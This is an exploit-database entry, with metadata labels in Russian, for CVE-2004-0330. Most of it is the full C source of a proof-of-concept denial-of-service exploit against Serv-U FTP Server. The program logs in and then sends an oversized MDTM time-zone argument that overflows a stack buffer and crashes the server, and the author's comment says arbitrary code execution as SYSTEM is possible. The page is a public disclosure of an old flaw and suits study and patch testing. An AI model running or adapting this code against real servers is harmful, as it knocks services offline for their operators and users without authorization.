Exploit RhinoSoft Serv-U FTPd Server 3/4/5 - 'MDTM' Time Argument Buffer Overflow (2)

[Exploiter]

EDB-ID

23761

Проверка EDB

1. Пройдено

Автор

SHAUN2K2

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2004-0330

Дата публикации

2004-02-26

// source: https://www.securityfocus.com/bid/9751/info
 
Serv-U FTP Server has been reported prone to a remote stack based buffer overflow vulnerability when handling time zone arguments passed to the MDTM FTP command.
 
The problem exists due to insufficient bounds checking. Ultimately an attacker may leverage this issue to have arbitrary instructions executed in the context of the SYSTEM user.

/* serv-u-mdtm-expl.c - Serv-U "MDTM" buffer overflow PoC DoS exploit.
 *
 * This program will send an overly large filename parameter when calling
 * the Serv-U FTP MDTM command.  Although arbitrary code execution is
 * possible upon successful execution of this vulnerability, the vendor has
 * not yet released a patch, so releasing such an exploit could be disastrous
 * in the hands of script kiddies.  I might release a full exploit to the
 * public when a patch/fix is issued by the vendor of Serv-U.  This PoC
 * exploit will simply crash the Serv-U server.
 *
 * This vulnerability was discovered by bkbll, you can read his advisory on
 * the issue here: <http://www.cnhonker.com/advisory/serv-u.mdtm.txt>
 *
 * This vulnerability requires a valid login and password to exploit!  This
 * PoC does not check to see if you supplied a correct login and password.
 *
 * I do not take responsibility for this code.
 *
 * -shaun2k2
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {
        if(argc < 5) {
                printf("Serv-U 'MDTM' buffer overflow DoS exploit.\n");
                printf("by shaun2k2 - <[email protected]>.\n\n");
                printf("Usage: %s <host> <port> <login> <password>\n", argv[0]);
                exit(-1);
        }

        int sock;
        char explbuf[6032];
        char loginbuf[100];
        char passwdbuf[100];
        char bigbuf[6000];
        struct sockaddr_in dest;
        struct hostent *he;

        /* lookup IP address of supplied hostname. */
        if((he = gethostbyname(argv[1])) == NULL) {
                printf("Couldn't resolve %s!\n", argv[1]);
                exit(-1);
        }

        /* create socket. */
        if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
                perror("socket()");
                exit(-1);
        }

        /* fill in address struct. */
        dest.sin_family = AF_INET;
        dest.sin_port = htons(atoi(argv[2]));
        dest.sin_addr = *((struct in_addr *)he->h_addr);

        printf("Serv-U 'MDTM' buffer overflow DoS exploit.\n");
        printf("by shaun2k2 - <[email protected]>.\n\n");

        printf("Crafting exploit buffer...\n\n");
        /* craft exploit buffers. */
        memset(bigbuf, 'a', 6000);
        sprintf(loginbuf, "USER %s\n", argv[3]);
        sprintf(passwdbuf, "PASS %s\n", argv[4]);
        sprintf(explbuf, "MDTM 20031111111111+%s\r\n", bigbuf);


        printf("[+] Connecting...\n");
        if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) < 0) {
                perror("connect()");
                exit(-1);
        }

        printf("[+] Connected!\n\n");

        printf("[+] Sending exploit buffers...\n");
        sleep(1); /* give the serv-u server time to sort itself out. */
        send(sock, loginbuf, strlen(loginbuf), 0);
        sleep(2); /* wait for 2 secs. */
        send(sock, passwdbuf, strlen(passwdbuf), 0);
        sleep(2); /* wait before sending large MDTM command. */
        send(sock, explbuf, strlen(explbuf), 0);
        sleep(1); /* wait before closing the socket. */
        printf("[+] Exploit buffer sent!\n\n");

        close(sock);

        printf("[+] Done!  Check if the Serv-U server has crashed.\n");

        return(0);
}